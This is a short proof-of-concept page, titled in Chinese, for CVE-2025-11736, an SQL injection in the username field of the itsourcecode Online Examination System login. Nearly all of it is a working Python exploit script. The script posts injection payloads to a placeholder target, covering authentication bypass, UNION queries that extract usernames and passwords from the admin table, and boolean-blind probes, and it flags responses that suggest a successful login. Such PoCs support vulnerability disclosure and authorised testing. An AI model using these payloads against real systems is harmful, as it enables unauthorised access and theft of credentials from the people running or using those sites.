CVE-2025-11736 itsourcecode在线考试系统SQL注入漏洞

# CVE-2025-11736 - itsourcecode Online Examination System SQL Injection PoC # Vulnerability: SQL Injection via Username parameter in /index.php # CVSS: 7.3 (HIGH) import requests TARGET_URL = "http://target-site.com/index.php" def exploit_sql_injection(target_url, username_payload): """ Exploit SQL injection in Username parameter """ # Bypass authentication via SQL injection data = { "Username": username_payload, "Password": "anything" } try: response = requests.post(target_url, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Example payloads payloads = [ # Authentication bypass "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR 1=1 --", "admin'/*", # Union-based injection for data extraction "' UNION SELECT 1,2,3 --", "' UNION SELECT username,password,3 FROM admin --", # Boolean-based blind injection "admin' AND 1=1 --", "admin' AND 1=2 --", ] if __name__ == "__main__": for payload in payloads: print(f"\n[*] Testing payload: {payload}") response = exploit_sql_injection(TARGET_URL, payload) if response: print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if "admin" in response.text.lower() or "dashboard" in response.text.lower(): print(f"[!] Possible successful injection!") print(response.text[:500])